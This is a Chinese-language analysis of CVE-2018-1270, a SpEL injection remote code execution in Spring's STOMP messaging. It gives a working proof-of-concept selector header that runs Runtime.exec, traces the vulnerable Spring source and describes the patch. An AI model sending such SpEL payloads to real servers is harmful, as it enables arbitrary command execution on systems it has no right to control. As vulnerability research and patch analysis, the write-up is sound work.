CVE-2018-1270分析

简介

Spring框架中通过spring-messaging模块来实现STOMP(Simple Text-Orientated Messaging Protocol),STOMP是一种封装WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行

STOMP

STOMP(Simple Text-Orientated Messaging Protocol) 面向消息的简单文本协议,用于服务器在客户端之间进行异步消息传递。STOMP帧由命令,一个或多个头信息、一个空行及负载(文本或字节)所组成

客户端可以使用SEND命令来发送消息以及描述消息的内容,用SUBSCRIBE命令来订阅消息以及由谁来接收消息。这样就可以建立一个发布订阅系统,消息可以从客户端发送到服务器进行操作,服务器也可以推送消息到客户端

客户端可以使用SEND命令来发送消息以及描述消息的内容,用SUBSCRIBE命令来订阅消息以及由谁来接收消息。这样就可以建立一个发布订阅系统,消息可以从客户端发送到服务器进行操作,服务器也可以推送消息到客户端

通讯过程:

  • 客户端与服务器进行HTTP握手连接
  • 客户端通过发送CONNECT帧建立连接
  • 服务器端接收到连接尝试返回CONNECTED帧
  • 客户端通过SUBSCRIBE向服务端订阅消息主题
  • 客户端通过SEND向服务端发送消息

要从浏览器连接,对于SockJS,可以使用sockjs-client。对于STOMP来说,许多应用程序都使用了jmesnil/stomp-websocket库(也称为STOMP.js),它是功能完备的,已经在生产中使用了多年,但不再被维护。目前jsteunou/webstom-client是该库最积极维护和发展的继承者

漏洞复现

下载官方教程:https://github.com/spring-guides/gs-messaging-stomp-websocket
需要使用到旧版本,clone后checkout到老分支:git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

使用其中的complete项目,Gradle+SpringBoot项目,较容易搭建

修改resources/static/app.js文件(注意:这里修改app.js代码不是修改源码,appjs是返回给用户交给浏览器执行的,用户可以随意修改。之所以在代码中修改,是为了方便做复现)

function connect() {
    var header  = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};
    var socket = new SockJS('/gs-guide-websocket');
    stompClient = Stomp.over(socket);
    stompClient.connect({}, function (frame) {
        setConnected(true);
        console.log('Connected: ' + frame);
        stompClient.subscribe('/topic/greetings', function (greeting) {
            showGreeting(JSON.parse(greeting.body).content);
        },header);
    });
}

访问localhost:8080后点击connect,然后随便发一个消息即可弹出计算器

漏洞分析

首先分析js中定义的header:selector是什么,找下STOMP协议的细节。当发送订阅命令时,Stomp支持选择器标头,该选择器充当基于内容路由的筛选器

点击connect后,js发送建立订阅的stomp请求,代码获取这个header的地方:org\springframework\messaging\simp\broker\DefaultSubscriptionRegistry.java

@Override
protected void addSubscriptionInternal(
        String sessionId, String subsId, String destination, Message<?> message) {

    Expression expression = null;
    MessageHeaders headers = message.getHeaders();
    String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);
    if (selector != null) {
        try {
            expression = this.expressionParser.parseExpression(selector);
            this.selectorHeaderInUse = true;
            if (logger.isTraceEnabled()) {
                logger.trace("Subscription selector: [" + selector + "]");
            }
        }
        catch (Throwable ex) {
            if (logger.isDebugEnabled()) {
                logger.debug("Failed to parse selector: " + selector, ex);
            }
        }
    }
    this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
    this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);
}

下断点分析,selector是payload。另外这里构造了一个expression,看到这个敏感词汇,大概率洞来了。这里只是初始化了expression,并没有getValue或setValue,所以RCE触发不在这里

当我们点击Send发送后,会调用org\springframework\messaging\simp\broker\SimpleBrokerMessageHandler.java

protected void sendMessageToSubscribers(@Nullable String destination, Message<?> message) {
    MultiValueMap<String,String> subscriptions = this.subscriptionRegistry.findSubscriptions(message);
    if (!subscriptions.isEmpty() && logger.isDebugEnabled()) {
        logger.debug("Broadcasting to " + subscriptions.size() + " sessions.");
    }
    ......
}

断点调试跟入this.subscriptionRegistry.findSubscriptions 至org/springframework/messaging/simp/broker/AbstractSubscriptionRegistry.java

public final MultiValueMap<String, String> findSubscriptions(Message<?> message) {
    MessageHeaders headers = message.getHeaders();

    SimpMessageType type = SimpMessageHeaderAccessor.getMessageType(headers);
    if (!SimpMessageType.MESSAGE.equals(type)) {
        throw new IllegalArgumentException("Unexpected message type: " + type);
    }

    String destination = SimpMessageHeaderAccessor.getDestination(headers);
    if (destination == null) {
        if (logger.isErrorEnabled()) {
            logger.error("No destination in " + message);
        }
        return EMPTY_MAP;
    }

    return findSubscriptionsInternal(destination, message);
}
protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) {
    MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message);
    return filterSubscriptions(result, message);
}

层层跟入到filterSubscriptions,需要返回给用户的messagesendMessageToSubscribers传入到filterSubscriptions,这里的allMatchesfindSubscriptionsInternal中获取到的所有订阅信息,其中包含建立连接时候的selector,也就是说sub包含着payload

private MultiValueMap<String, String> filterSubscriptions(
        MultiValueMap<String, String> allMatches, Message<?> message) {
            ......
            for (String sessionId : allMatches.keySet()) {
                for (String subId : allMatches.get(sessionId)) {
                    SessionSubscriptionInfo info = this.subscriptionRegistry.getSubscriptions(sessionId);
                    ......
                    Subscription sub = info.getSubscription(subId);
                    ......
                    Expression expression = sub.getSelectorExpression();
                    ......
                    if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
                            result.add(sessionId, subId);
                    }
                    ......
                }

获取到的expression正是connect时构造的expression,在后面的expression.getValue处成功触发,到此分析结束,又一个SPEL的RCE

补丁分析

这个漏洞官方似乎没有修复成功,造成了CVE-2018-1275这个新漏洞,最终的修复方案如下,使用了SimpleEvaluationContext代替StandardEvaluationContext,SimpleEvaluationContext仅支持SPEL的部分功能,实现了防御